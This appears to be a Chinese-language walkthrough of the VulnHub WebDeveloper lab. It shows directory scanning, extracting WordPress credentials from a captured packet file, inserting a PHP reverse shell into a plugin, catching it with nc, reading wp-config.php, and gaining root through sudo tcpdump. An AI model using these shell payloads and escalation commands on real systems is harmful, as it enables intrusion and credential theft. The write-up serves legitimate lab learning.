靶机下载地址:
https://www.vulnhub.com/entry/webdeveloper-1,288/
攻击机ip / 系统:
172.20.10.5 / Mac OS
经过arp-san -l进行主机发现
靶机ip地址:
172.20.10.11
注意如往常一样 我们仍要从/root/flag.txt中get flag
使用dirb命令
dirb是Kali linux自带的渗透工具
Mac下安装:
下载安装包
https://sourceforge.net/projects/dirb/files/
编译执行
tar -xvf dirb222.tar.gz
mv dirb222 /Application
chmod -R 744 dirb222
cd /Application/dirb222
./configure
make
make install
dirb [url] /Applications/dirb222/wordlists/common.txt 安装好后使用
发现 http://172.20.10.11/ipdata下有个流量包
下载后放到wireshark查看
选择文件>导出对象>http分组
发现后台用户名和密码
再根据目录扫描时发现的后台url:http://172.20.10.11/wp-admin
登录后台!
发现后台有更改插件代码的功能,选择Plugins->Editor
选择要更改的插件:Hello Dolly
上传shellcode,以获得反弹shell
fsockopen($ip,$port) 打开指定端口和url的网络连接
proc_open($cmd,$descriptorspec,$pipes) 执行cmd命令并且执行descriptorspec索引数组指定的输入输出重定向
上传之后启用插件Hello Dolly
*常用的php代码反弹shell是
$sock=fsockopen($ip,$port);
exec("/bin/sh -i <&3 >&3 2>&3");
但是尝试过失败,google了很久之后发现有博客提到:
该shellcode对于ubuntu无效(但没有解释具体原因)
有师傅知道的请指教~
nc -lvvp 1234
提升简单shell 为交互式tty
python3 -c 'import pty;pty.spwan("/bin/bash")'
*交互式tty优点
1 有所在目录输出显示,显示比较友好
2 可以使用sudo命令(虽然这里并没有用到)
(简单shell不能使用sudo)
3 使用ctrl+c不会直接退出,有回溯历史功能,可使用vim (使用python模块升级的tty也不能实现这一点,感兴趣的师傅可以去看看其他如socket方法)
升级shell后
尝试直接查看/root/flag.txt —— permission denied
查看敏感文件 wp-config.php:储存数据库用户名和密码
我们尝试用wp-config中的数据库用户名和密码连接远程服务器:
发现登录成功~
尝试查看/root/flag.txt
没办法这么简单直接查看 看来要找到其他方法
查看当前身份可执行的命令
sudo -l
创建攻击文件
touch /tmp/exploit
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量
参考博客:
http://www.vuln.cn/8034
文章中师傅还介绍了很多其他的使用一个命令执行任意命令的漏洞,如tar,zip等等,感兴趣可以了解一下
https://www.rootnetsec.com/vulnhub-webdeveloper/